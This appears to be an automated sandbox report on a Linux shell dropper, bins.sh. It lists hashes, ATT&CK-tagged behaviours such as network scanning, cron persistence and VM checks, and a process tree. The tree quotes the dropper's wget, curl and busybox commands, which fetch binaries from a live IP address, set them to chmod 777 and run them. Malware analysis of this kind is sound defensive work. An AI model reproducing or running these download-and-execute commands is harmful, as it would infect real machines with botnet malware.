d282873524efa06a7da01fcdc8105d7b38d00579aae047bf2a561281496ad94c

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 09:26

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General

Target

bins.sh
Size

10KB
MD5

035db69b6641b2570b2aeb119a1bf0eb
SHA1

3d7e86cce19e5e17794bc983f9c7cb965a9be5d3
SHA256

d282873524efa06a7da01fcdc8105d7b38d00579aae047bf2a561281496ad94c
SHA512

4d9f71e04134b17336fdffc586b33f72cba71b89bb130cd4745bdcc0a354295d89ed5f83861c0fab5b6b1c8c3ef2000defa6468297c9b3c08d0a671b12d23080
SSDEEP

96:HD/t0NwtE/f4xZsrbxp9enzVlVo0MDK8p9edl2OVlVo09kdwv/t0NwtE/fD/sm8b:HDGboGQ5

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (2000) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
697	chmod
683	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	685	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	698	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

Renames itself 1 IoCs

pid	Process
699	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.R7FfYS	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/732/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/799/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/992/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/269/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/834/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/873/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1003/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1191/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1204/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/8/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/916/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/968/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1140/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/734/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/851/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/795/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1013/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1151/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/841/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/920/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1014/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1048/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1105/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/960/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1094/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1192/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/819/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/838/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/942/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1031/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1099/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1179/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/902/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/908/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1079/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1129/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/811/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/883/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/890/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/963/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1071/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/107/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/720/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/723/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1091/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/742/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/868/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/924/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/983/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/727/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/961/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1088/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1132/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/604/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/912/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/930/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1081/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1177/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/931/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1025/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1035/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1080/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/131/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/737/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	wget
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	busybox
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	wget
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:649
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:653
- /usr/bin/wget
  wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:673
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:681
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:687
- /usr/bin/wget
  wget http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:689
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:698
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:700
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:702
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:704
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:705
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:709
- /usr/bin/wget
  wget http://216.126.231.240/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:799

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.R7FfYS

Filesize
210B

MD5
26059a7006131eee688d0102ab2f0fcb

SHA1
469bfcbc4bb81a4d028fa9ff479f8e51366ab1f4

SHA256
38dfc147b8ef62252e2223798fd22662dbd1418104e6f75a0e7823ea98d31388

SHA512
35a5eb68a1b317b2a49e6ed68eb23a4aa455616900c46e84f6fc32092c080c36f01e0a84277a5e5d3a706bd41ee6a68272bf12a8dcf7457169bef789fdac9ec6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads